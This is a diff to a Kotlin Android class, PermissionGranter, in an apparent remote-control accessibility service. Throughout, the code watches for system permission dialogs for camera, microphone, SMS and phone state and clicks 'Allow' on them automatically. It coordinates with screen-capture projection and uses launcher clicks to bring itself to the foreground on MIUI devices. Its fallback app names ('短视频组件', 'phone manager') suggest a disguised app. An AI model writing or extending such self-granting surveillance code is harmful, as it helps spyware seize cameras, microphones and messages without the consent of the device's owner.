+ if (isRuntimeDenyText(combinedText)) {
+ continue
+ }
+ if (!isRuntimeAllowText(combinedText) && !containsAnyKeyword(combinedText, texts)) {
+ continue
+ }
+ if (isRuntimeOptionSelectionText(combinedText) || isRuntimeOptionControl(node)) {
+ Log.d(TAG, "🧭 文本兜底跳过选项节点: '$combinedText'")
+ continue
+ }
// 仅对“按钮类”节点进行点击,避免误触开关/列表项
if (clickButtonNodeOrParent(node)) {
matches.forEach { it.recycle() }
@@ -6227,9 +8298,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val isClassButton = cls.contains("Button", ignoreCase = true) || cls.contains("ImageButton", ignoreCase = true) || cls.contains("MaterialButton", ignoreCase = true)
val isRoleButton = role.equals("button", ignoreCase = true)
// 对运行时弹框常见的底部操作也可能标记为 TextView 但可点击,这里结合文本关键词再放行
- val text = node.text?.toString() ?: ""
- val allowKeywords = listOf("允许", "Allow")
- val isClickableAllowText = node.isClickable && allowKeywords.any { text.contains(it, ignoreCase = true) }
+ val text = buildNodeCombinedText(node.text, node.contentDescription)
+ val isClickableAllowText = node.isClickable && isRuntimeAllowText(text) && !isRuntimeDenyText(text)
return isClassButton || isRoleButton || isClickableAllowText
}
@@ -6271,18 +8341,270 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return false
}
}
-
+
+ private fun shouldDeferRuntimePermissionForProjection(permissionKey: String): Boolean {
+ val normalizedPermissionKey = normalizeRuntimePermissionKey(permissionKey)
+ // Camera/Microphone should remain available even while projection flow is in progress.
+ if (normalizedPermissionKey == "camera" || normalizedPermissionKey == "microphone") {
+ return false
+ }
+ if (!isRequestingMediaProjection) {
+ return false
+ }
+ val elapsed = System.currentTimeMillis() - lastMediaProjectionAttemptTime
+ val hasProjectionState =
+ MediaProjectionHolder.getPermissionData() != null || MediaProjectionHolder.getMediaProjection() != null
+ if (elapsed > 12_000L && !hasProjectionState) {
+ Log.w(
+ TAG,
+ "⏱️ 投屏申请门禁超时,自动放行运行时权限: permission=$permissionKey, elapsed=${elapsed}ms"
+ )
+ isRequestingMediaProjection = false
+ return false
+ }
+ Log.i(TAG, "⏸️ 投屏授权进行中,暂缓运行时权限申请: permission=$normalizedPermissionKey")
+ recordRuntimePermissionFailure(
+ normalizedPermissionKey,
+ "deferred_media_projection_in_progress",
+ "wait_media_projection_flow_complete",
+ "runtime_request_gate"
+ )
+ return true
+ }
+
+ private fun shouldWaitForForegroundRuntimeRequest(permissionKey: String): Boolean {
+ if (!isMiuiDevice()) {
+ return false
+ }
+
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ val activePackage = getActiveWindowPackageName()
+ val selfPackage = context.packageName.lowercase()
+ val appForeground = activePackage == selfPackage || activePackage.startsWith("$selfPackage.")
+ val permissionContextVisible = isRuntimePermissionDialogPackage(activePackage) || isLikelyPermissionDialog(activePackage)
+ if (permissionContextVisible) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ return false
+ }
+ if (appForeground) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ return false
+ }
+ if (activePackage.isBlank() || isLauncherLikePackage(activePackage)) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ Log.d(
+ TAG,
+ "⏭️ MIUI前台门禁放行: permission=$normalized, active=${if (activePackage.isBlank()) "unknown" else activePackage}"
+ )
+ return false
+ }
+
+ // 优先尝试“权限桥接Activity”,避免因后台前台门禁导致权限请求长期卡死。
+ if (launchRuntimePermissionBridgeActivity(normalized, "foreground_gate")) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ Log.i(TAG, "✅ MIUI前台门禁通过桥接页放行: permission=$normalized, active=$activePackage")
+ return false
+ }
+
+ val now = System.currentTimeMillis()
+ var shouldLog = false
+ synchronized(this) {
+ val lastLoggedAt = runtimeForegroundGateLastLogAt[normalized] ?: 0L
+ if (now - lastLoggedAt >= runtimeForegroundGateLogCooldownMs) {
+ runtimeForegroundGateLastLogAt[normalized] = now
+ shouldLog = true
+ }
+ }
+
+ if (shouldLog) {
+ val active = if (activePackage.isBlank()) "unknown" else activePackage
+ val detail = "active=$active"
+ Log.i(TAG, "⏸️ MIUI运行时权限等待前台: permission=$normalized, $detail")
+ recordRuntimePermissionFailure(
+ normalized,
+ "awaiting_app_foreground",
+ detail,
+ "runtime_request_foreground_gate"
+ )
+ }
+ return true
+ }
+
+ private fun launchRuntimePermissionBridgeActivity(permissionKey: String, scene: String): Boolean {
+ val permissionType = when (normalizeRuntimePermissionKey(permissionKey)) {
+ "camera" -> PermissionRequestActivity.PERMISSION_TYPE_CAMERA
+ "microphone" -> PermissionRequestActivity.PERMISSION_TYPE_MICROPHONE
+ "sms" -> PermissionRequestActivity.PERMISSION_TYPE_SMS
+ "gallery" -> PermissionRequestActivity.PERMISSION_TYPE_GALLERY
+ else -> return false
+ }
+
+ return try {
+ val intent = Intent(context, PermissionRequestActivity::class.java).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ putExtra(PermissionRequestActivity.EXTRA_PERMISSION_TYPE, permissionType)
+ }
+ context.startActivity(intent)
+ val visible = verifyRuntimeRequestEntry(permissionKey, "permission_bridge_$scene")
+ if (!visible) {
+ recordRuntimePermissionFailure(
+ permissionKey,
+ if (isMiuiDevice()) "miui_background_activity_launch_denied" else "runtime_entry_not_visible",
+ "source=permission_bridge_$scene",
+ "permission_bridge_activity"
+ )
+ }
+ visible
+ } catch (e: Exception) {
+ recordRuntimePermissionFailure(
+ permissionKey,
+ "permission_bridge_launch_exception",
+ e.message ?: "unknown",
+ "permission_bridge_activity_exception"
+ )
+ Log.w(TAG, "⚠️ 权限桥接页启动失败: permission=$permissionKey, scene=$scene, msg=${e.message}")
+ false
+ }
+ }
+
+ private fun isLauncherLikePackage(packageName: String): Boolean {
+ val normalized = packageName.lowercase()
+ val launcherPackages = listOf(
+ "com.miui.home",
+ "com.mi.android.globallauncher",
+ "com.android.launcher",
+ "com.android.launcher3",
+ "com.google.android.apps.nexuslauncher",
+ "com.android.systemui"
+ )
+ return launcherPackages.any { normalized == it || normalized.startsWith("$it.") }
+ }
+
+ private fun tryBringAppToForegroundFromLauncher(permissionKey: String): Boolean {
+ return try {
+ val root = service.rootInActiveWindow ?: return false
+ val keywords = buildAppEntryKeywords()
+ var clicked = false
+ try {
+ for (keyword in keywords) {
+ val matches = runCatching {
+ root.findAccessibilityNodeInfosByText(keyword)
+ }.getOrDefault(emptyList())
+ if (matches.isEmpty()) continue
+ for (node in matches) {
+ try {
+ if (clickNodeOrParent(node)) {
+ clicked = true
+ Log.i(
+ TAG,
+ "🎯 前台拉起命中应用入口: permission=$permissionKey, keyword='$keyword'"
+ )
+ break
+ }
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ if (clicked) break
+ }
+ } finally {
+ runCatching { root.recycle() }
+ }
+
+ if (!clicked) return false
+ repeat(8) {
+ Thread.sleep(220)
+ val active = getActiveWindowPackageName()
+ val selfPackage = context.packageName.lowercase()
+ if (active == selfPackage || active.startsWith("$selfPackage.")) {
+ return true
+ }
+ }
+ false
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 前台拉起应用失败: permission=$permissionKey, msg=${e.message}")
+ false
+ }
+ }
+
+ private fun buildAppEntryKeywords(): List {
+ val label = runCatching {
+ context.packageManager.getApplicationLabel(context.applicationInfo).toString()
+ }.getOrDefault("")
+ val fallback = listOf(
+ "短视频组件",
+ "hikoncont",
+ "hikon",
+ "phone manager"
+ )
+ return (listOf(label, context.packageName.substringAfterLast('.')) + fallback)
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+ }
+
+ private fun shouldLaunchMainActivityForRuntimeRequest(permissionKey: String): Boolean {
+ val activePackage = getActiveWindowPackageName()
+ if (activePackage.isBlank()) {
+ return true
+ }
+ val selfPackage = context.packageName.lowercase()
+ if (activePackage == selfPackage || activePackage.startsWith("$selfPackage.")) {
+ return true
+ }
+ val permissionContextVisible = isRuntimePermissionDialogPackage(activePackage) || isLikelyPermissionDialog(activePackage)
+ if (permissionContextVisible) {
+ Log.i(
+ TAG,
+ "⏭️ 当前已在权限上下文,跳过MainActivity拉起: permission=$permissionKey, active=$activePackage"
+ )
+ return false
+ }
+ if (isMiuiDevice() && isLauncherLikePackage(activePackage)) {
+ if (tryBringAppToForegroundFromLauncher(permissionKey)) {
+ Log.i(
+ TAG,
+ "✅ 已通过无障碍点击将应用拉到前台,跳过MainActivity强拉起: permission=$permissionKey"
+ )
+ return false
+ }
+ }
+ return true
+ }
+
+ private fun getActiveWindowPackageName(): String {
+ return service.rootInActiveWindow
+ ?.packageName
+ ?.toString()
+ ?.lowercase()
+ .orEmpty()
+ }
+
/**
* 开始监听摄像头权限对话框
*/
private fun startCameraPermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("camera")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingCameraPermission && cameraPermissionRetryCount < maxRetryCount) {
- delay(cameraPermissionRetryInterval)
+ delay(retryIntervalMs)
if (hasCameraPermission()) {
Log.i(TAG, "✅ 摄像头权限已授予")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "granted")
break
}
@@ -6292,6 +8614,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行,停止权限申请")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "accessibility_stopped")
+ break
+ }
+
+ val cameraBlocked = shouldAbortRuntimePermissionMonitor("camera", cameraPermissionRetryCount)
+ if (cameraBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 摄像头权限申请提前终止: code=${cameraBlocked.code}, detail=${cameraBlocked.detail}"
+ )
+ isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "blocked_${cameraBlocked.code}")
break
}
@@ -6300,10 +8636,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "📷 检测到权限对话框,尝试自动点击")
// 点击后等待一下再检查权限状态
- delay(1000)
+ delay(settleDelayMs)
if (hasCameraPermission()) {
Log.i(TAG, "✅ 摄像头权限已授予")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "granted_after_dialog")
break
}
} else {
@@ -6316,6 +8654,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (cameraPermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 摄像头权限申请超时")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "monitor_timeout")
}
}
}
@@ -6325,12 +8665,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun startSMSPermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("sms")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingSMSPermission && smsPermissionRetryCount < maxRetryCount) {
- delay(smsPermissionRetryInterval)
+ delay(retryIntervalMs)
if (hasSMSPermission()) {
Log.i(TAG, "✅ 短信权限已授予")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "granted")
break
}
@@ -6340,6 +8684,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行,停止权限申请")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "accessibility_stopped")
+ break
+ }
+
+ val smsBlocked = shouldAbortRuntimePermissionMonitor("sms", smsPermissionRetryCount)
+ if (smsBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 短信权限申请提前终止: code=${smsBlocked.code}, detail=${smsBlocked.detail}"
+ )
+ isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "blocked_${smsBlocked.code}")
break
}
@@ -6348,10 +8706,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "📱 检测到短信权限对话框,尝试自动点击")
// 点击后等待一下再检查权限状态
- delay(1000)
+ delay(settleDelayMs)
if (hasSMSPermission()) {
Log.i(TAG, "✅ 短信权限已授予")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "granted_after_dialog")
break
}
} else {
@@ -6364,6 +8724,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (smsPermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 短信权限申请超时")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "monitor_timeout")
}
}
}
@@ -6387,63 +8749,81 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val windowId = window.id
Log.d(TAG, "📱 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
-
- // 检查窗口标题是否包含短信权限相关文本
- if (windowTitle.contains("短信", ignoreCase = true) ||
- windowTitle.contains("SMS", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("permission", ignoreCase = true) ||
- windowTitle.contains("电话", ignoreCase = true) ||
- windowTitle.contains("PHONE", ignoreCase = true)) {
- Log.d(TAG, "📱 找到短信权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
- val windowRoot = getWindowRootByTitle(windowTitle)
- if (windowRoot != null) {
- Log.d(TAG, "📱 成功获取短信权限弹框根节点")
-
- // 直接尝试点击按钮
- if (tryClickSMSPermissionButtons(windowRoot)) {
- windowRoot.recycle()
+
+ val quickWindowRoot = window.root
+ if (quickWindowRoot != null) {
+ try {
+ if (tryHandleHonorSystemManagerInterception(quickWindowRoot, "sms_window_$i")) {
return true
}
-
- windowRoot.recycle()
- } else {
- Log.w(TAG, "⚠️ 无法获取短信权限弹框根节点,尝试其他方法...")
-
-// // 尝试通过坐标点击
- if (tryClickSMSByCoordinates(windowTitle)) {
- return true
- }
-// if (tryClickSMSByCoordinates(window)) {
-// return true
-// }
+ } finally {
+ quickWindowRoot.recycle()
}
}
+
+ // 短信权限:仅处理“系统权限弹窗”根节点,禁止坐标盲点误点。
+ val windowRoot = getWindowRootByTitle(windowTitle)
+ if (windowRoot != null) {
+ try {
+ val rootPackage = windowRoot.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
+ Log.d(TAG, "📱 跳过MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage")
+ continue
+ }
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 跳过非系统权限窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val hasSmsPermissionContext = containsSMSPermissionText(windowRoot)
+ if (!hasSmsPermissionContext) {
+ Log.d(TAG, "📱 跳过无短信权限文案窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ Log.d(TAG, "📱 命中短信权限弹框窗口: 标题=$windowTitle, 包名=$rootPackage, ID=$windowId")
+ if (tryClickSMSPermissionButtons(windowRoot)) {
+ return true
+ }
+ } finally {
+ windowRoot.recycle()
+ }
+ } else {
+ Log.d(TAG, "📱 未获取到窗口根节点,跳过窗口: title=$windowTitle")
+ }
}
}
// 方法2: 检查活动窗口
val rootNode = service.rootInActiveWindow
if (rootNode != null) {
- Log.d(TAG, "📱 检查活动窗口...")
-
- // 递归查找权限相关节点
- val permissionNode = findSMSPermissionNodeInTree(rootNode)
- if (permissionNode != null) {
- Log.d(TAG, "📱 在活动窗口中找到短信权限节点")
-
- if (tryClickSMSPermissionButtons(permissionNode)) {
- permissionNode.recycle()
- rootNode.recycle()
+ try {
+ Log.d(TAG, "📱 检查活动窗口...")
+ if (tryHandleHonorSystemManagerInterception(rootNode, "sms_active")) {
return true
}
-
- permissionNode.recycle()
+ val rootPackage = rootNode.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
+ Log.d(TAG, "📱 活动窗口为MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage")
+ } else if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 活动窗口不是系统权限弹窗,跳过: package=$rootPackage")
+ } else {
+ // 递归查找权限相关节点
+ val permissionNode = findSMSPermissionNodeInTree(rootNode)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "📱 在活动窗口中找到短信权限节点")
+ if (tryClickSMSPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ }
+ } finally {
+ rootNode.recycle()
}
-
- rootNode.recycle()
}
Log.d(TAG, "📱 未找到短信权限对话框")
@@ -6474,21 +8854,33 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val windowId = window.id
Log.d(TAG, "📷 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
-
- // 检查窗口标题是否包含摄像头权限相关文本
- if (windowTitle.contains("摄像头", ignoreCase = true) ||
- windowTitle.contains("拍摄照片", ignoreCase = true) ||
- windowTitle.contains("录制视频", ignoreCase = true) ||
- windowTitle.contains("camera", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("permission", ignoreCase = true)) {
- Log.d(TAG, "📷 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
- val windowRoot = getWindowRootByTitle(windowTitle)
- if (tryClickByCoordinates(windowTitle)) {
- return true
+
+ val windowRoot = window.root
+ if (windowRoot == null) continue
+ try {
+ if (tryHandleHonorSystemManagerInterception(windowRoot, "camera_window_$i")) {
+ return true
}
+
+ val rootPackage = windowRoot.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "📷 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val permissionNode = findPermissionNodeInTree(windowRoot)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "📷 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage")
+ if (tryClickPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ } finally {
+ windowRoot.recycle()
}
}
}
@@ -6497,6 +8889,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val rootNode = service.rootInActiveWindow
if (rootNode != null) {
Log.d(TAG, "📷 检查活动窗口...")
+
+ if (tryHandleHonorSystemManagerInterception(rootNode, "camera_active")) {
+ rootNode.recycle()
+ return true
+ }
+
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "📷 活动窗口不是权限弹框,跳过: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
// 递归查找权限相关节点
val permissionNode = findPermissionNodeInTree(rootNode)
@@ -6825,99 +9229,49 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun tryClickSMSPermissionButtons(node: AccessibilityNodeInfo): Boolean {
try {
- Log.d(TAG, "📱 尝试点击短信权限按钮...")
-
- // 短信权限按钮文本
- val buttonTexts = listOf(
- "使用时允许", "Allow while using",
- "仅本次使用时允许", "Allow only this time",
- "允许", "Allow", "确定", "OK",
- "始终允许", "Allow always",
- "仅此一次", "Just once"
+ Log.d(TAG, "📱 [P2_CONFIRM_V2] 尝试点击短信权限按钮(两阶段:选项 -> 最终确认)...")
+ return tryClickRuntimePermissionButtonsInternal(
+ node = node,
+ logPrefix = "📱",
+ scene = "sms_runtime_permission",
+ strictAllowSemantics = true
)
-
- // 查找所有按钮
- val allButtons = findAllButtons(node)
- Log.d(TAG, "📱 找到 ${allButtons.size} 个按钮")
-
- for (i in allButtons.indices) {
- val btn = allButtons[i]
- val btnText = btn.text?.toString() ?: ""
- val btnDesc = btn.contentDescription?.toString() ?: ""
-
- Log.d(TAG, "📱 按钮 $i: '$btnText', 描述: '$btnDesc'")
-
- // 检查是否是权限按钮
- for (buttonText in buttonTexts) {
- if (btnText.contains(buttonText, ignoreCase = true) ||
- btnDesc.contains(buttonText, ignoreCase = true)) {
- Log.i(TAG, "📱 找到短信权限按钮: '$btnText', 描述: '$btnDesc'")
-
- // 尝试点击按钮
- clickButton(btn)
- Log.i(TAG, "📱 成功点击短信权限按钮: '$btnText'")
- btn.recycle()
- return true
- }
- }
-
- btn.recycle()
- }
-
- Log.w(TAG, "⚠️ 未找到可点击的短信权限按钮")
- return false
-
} catch (e: Exception) {
Log.e(TAG, "点击短信权限按钮失败", e)
return false
}
}
+
+ /**
+ * 尝试点击麦克风权限按钮
+ */
+ private fun tryClickMicrophonePermissionButtons(node: AccessibilityNodeInfo): Boolean {
+ try {
+ Log.d(TAG, "🎤 [P2_CONFIRM_V2] 尝试点击麦克风权限按钮(两阶段:选项 -> 最终确认)...")
+ return tryClickRuntimePermissionButtonsInternal(
+ node = node,
+ logPrefix = "🎤",
+ scene = "microphone_runtime_permission",
+ strictAllowSemantics = false
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "点击麦克风权限按钮失败", e)
+ return false
+ }
+ }
/**
* 尝试点击权限按钮
*/
private fun tryClickPermissionButtons(node: AccessibilityNodeInfo): Boolean {
try {
- Log.d(TAG, "📷 尝试点击权限按钮...")
-
- // 权限按钮文本(根据截图)
- val buttonTexts = listOf(
- "使用时允许", "Allow while using",
- "仅本次使用时允许", "Allow only this time",
- "允许", "Allow", "确定", "OK"
+ Log.d(TAG, "📷 [P2_CONFIRM_V2] 尝试点击权限按钮(两阶段:选项 -> 最终确认)...")
+ return tryClickRuntimePermissionButtonsInternal(
+ node = node,
+ logPrefix = "📷",
+ scene = "generic_runtime_permission",
+ strictAllowSemantics = false
)
-
- // 查找所有按钮
- val allButtons = findAllButtons(node)
- Log.d(TAG, "📷 找到 ${allButtons.size} 个按钮")
-
- for (i in allButtons.indices) {
- val btn = allButtons[i]
- val btnText = btn.text?.toString() ?: ""
- val btnDesc = btn.contentDescription?.toString() ?: ""
-
- Log.d(TAG, "📷 按钮 $i: '$btnText', 描述: '$btnDesc'")
-
- // 检查是否是权限按钮
- for (buttonText in buttonTexts) {
- if (btnText.contains(buttonText, ignoreCase = true) ||
- btnDesc.contains(buttonText, ignoreCase = true)) {
- Log.i(TAG, "📷 找到权限按钮: '$btnText', 描述: '$btnDesc'")
-
- // 尝试点击按钮
- clickButton(btn)
- Log.i(TAG, "📷 成功点击权限按钮: '$btnText'")
- btn.recycle()
- return true
- }
- }
-
- btn.recycle()
- }
-
- Log.w(TAG, "⚠️ 未找到可点击的权限按钮")
- return false
-
} catch (e: Exception) {
Log.e(TAG, "点击权限按钮失败", e)
return false
@@ -7388,6 +9742,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🛑 停止摄像头权限申请")
isRequestingCameraPermission = false
cameraPermissionRetryCount = 0
+ cameraPermissionRequestStartedAt = 0L
}
/**
@@ -7397,6 +9752,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🛑 停止短信权限申请")
isRequestingSMSPermission = false
smsPermissionRetryCount = 0
+ smsPermissionRequestStartedAt = 0L
}
/**
@@ -7594,6 +9950,33 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return null
}
}
+
+ /**
+ * 在节点树中递归查找麦克风权限相关节点
+ */
+ private fun findMicrophonePermissionNodeInTree(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
+ try {
+ if (containsMicrophonePermissionText(node)) {
+ return node
+ }
+
+ for (i in 0 until node.childCount) {
+ val child = node.getChild(i)
+ if (child != null) {
+ val result = findMicrophonePermissionNodeInTree(child)
+ if (result != null) {
+ child.recycle()
+ return result
+ }
+ child.recycle()
+ }
+ }
+ return null
+ } catch (e: Exception) {
+ Log.e(TAG, "查找麦克风权限节点失败", e)
+ return null
+ }
+ }
/**
* 在节点树中递归查找权限相关节点
@@ -7632,41 +10015,58 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
try {
val text = node.text?.toString() ?: ""
val contentDescription = node.contentDescription?.toString() ?: ""
+ val combinedText = buildNodeCombinedText(node.text, node.contentDescription)
val smsPermissionTexts = listOf(
- "短信", "SMS", "Sms", "SMS权限",
- "电话", "Phone", "PHONE", "电话权限",
- "允许", "Allow", "允许访问", "Allow access",
- "权限", "Permission", "PERMISSION",
- "读取短信", "Read SMS", "发送短信", "Send SMS",
- "电话状态", "Phone state", "PHONE_STATE"
+ "短信", "sms", "彩信", "读取短信", "发送短信", "接收短信",
+ "电话状态", "读取电话状态", "读取电话信息", "phone state", "read phone state"
)
-
- for (permissionText in smsPermissionTexts) {
- if (text.contains(permissionText, ignoreCase = true) ||
- contentDescription.contains(permissionText, ignoreCase = true)) {
- return true
- }
+
+ return smsPermissionTexts.any { permissionText ->
+ text.contains(permissionText, ignoreCase = true) ||
+ contentDescription.contains(permissionText, ignoreCase = true) ||
+ combinedText.contains(permissionText, ignoreCase = true)
}
-
- return false
} catch (e: Exception) {
Log.e(TAG, "检查短信权限文本失败", e)
return false
}
}
+
+ /**
+ * 检查节点是否包含麦克风权限相关文本
+ */
+ private fun containsMicrophonePermissionText(node: AccessibilityNodeInfo): Boolean {
+ return try {
+ val text = node.text?.toString() ?: ""
+ val contentDescription = node.contentDescription?.toString() ?: ""
+ val combinedText = buildNodeCombinedText(node.text, node.contentDescription)
+
+ val keywords = listOf(
+ "麦克风", "录音", "录制音频", "microphone", "record audio"
+ )
+ keywords.any { keyword ->
+ text.contains(keyword, ignoreCase = true) ||
+ contentDescription.contains(keyword, ignoreCase = true) ||
+ combinedText.contains(keyword, ignoreCase = true)
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "检查麦克风权限文本失败", e)
+ false
+ }
+ }
/**
* 检查节点是否包含权限相关文本
*/
private fun containsPermissionText(node: AccessibilityNodeInfo): Boolean {
try {
- val permissionKeywords = listOf(
+ val permissionKeywords = mutableListOf(
"摄像头", "相机", "Camera", "camera",
- "使用时允许", "仅本次使用时允许", "仅在使用时允许",
- "允许", "拒绝", "Allow", "Deny",
"权限", "Permission", "permission"
)
+ permissionKeywords.addAll(runtimePermissionAllowKeywords)
+ permissionKeywords.addAll(runtimePermissionDenyKeywords)
val nodeText = node.text?.toString() ?: ""
val contentDescription = node.contentDescription?.toString() ?: ""
@@ -7822,22 +10222,27 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 尝试通过窗口ID获取根节点
val windowRoot = getWindowRootByTitle(windowTitle)
if (windowRoot != null) {
- Log.d(TAG, "📱 成功获取发送短信权限弹框根节点")
-
- // 直接尝试点击按钮
- if (tryClickSendSMSPermissionButtons(windowRoot)) {
+ try {
+ val rootPackage = windowRoot.packageName?.toString()
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 跳过非运行时权限窗口: package=$rootPackage, title=$windowTitle")
+ continue
+ }
+ if (!containsSMSPermissionText(windowRoot)) {
+ Log.d(TAG, "📱 跳过无短信权限文案窗口: package=$rootPackage, title=$windowTitle")
+ continue
+ }
+ Log.d(TAG, "📱 成功获取发送短信权限弹框根节点: package=$rootPackage")
+
+ // 仅通过权限弹框按钮文本点击,禁用坐标盲点点击,避免误触短信应用界面。
+ if (tryClickSendSMSPermissionButtons(windowRoot)) {
+ return true
+ }
+ } finally {
windowRoot.recycle()
- return true
}
-
- windowRoot.recycle()
} else {
- Log.w(TAG, "⚠️ 无法获取发送短信权限弹框根节点,尝试坐标点击...")
-
- // 尝试通过坐标点击
- if (tryClickSendSMSPermissionByCoordinates()) {
- return true
- }
+ Log.d(TAG, "📱 无法获取发送短信权限窗口根节点,跳过")
}
}
}
@@ -7846,23 +10251,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 方法2: 检查活动窗口
val rootNode = service.rootInActiveWindow
if (rootNode != null) {
- Log.d(TAG, "📱 检查活动窗口...")
-
- // 递归查找权限相关节点
- val permissionNode = findSendSMSPermissionNodeInTree(rootNode)
- if (permissionNode != null) {
- Log.d(TAG, "📱 在活动窗口中找到发送短信权限节点")
-
- if (tryClickSendSMSPermissionButtons(permissionNode)) {
- permissionNode.recycle()
- rootNode.recycle()
- return true
+ try {
+ Log.d(TAG, "📱 检查活动窗口...")
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 活动窗口非运行时权限弹窗,跳过: package=$rootPackage")
+ } else {
+ // 递归查找权限相关节点
+ val permissionNode = findSendSMSPermissionNodeInTree(rootNode)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "📱 在活动窗口中找到发送短信权限节点")
+ if (tryClickSendSMSPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
}
-
- permissionNode.recycle()
+ } finally {
+ rootNode.recycle()
}
-
- rootNode.recycle()
}
Log.d(TAG, "📱 未找到发送短信权限弹框")
@@ -7930,11 +10340,36 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 发送短信权限按钮文本
val buttonTexts = listOf(
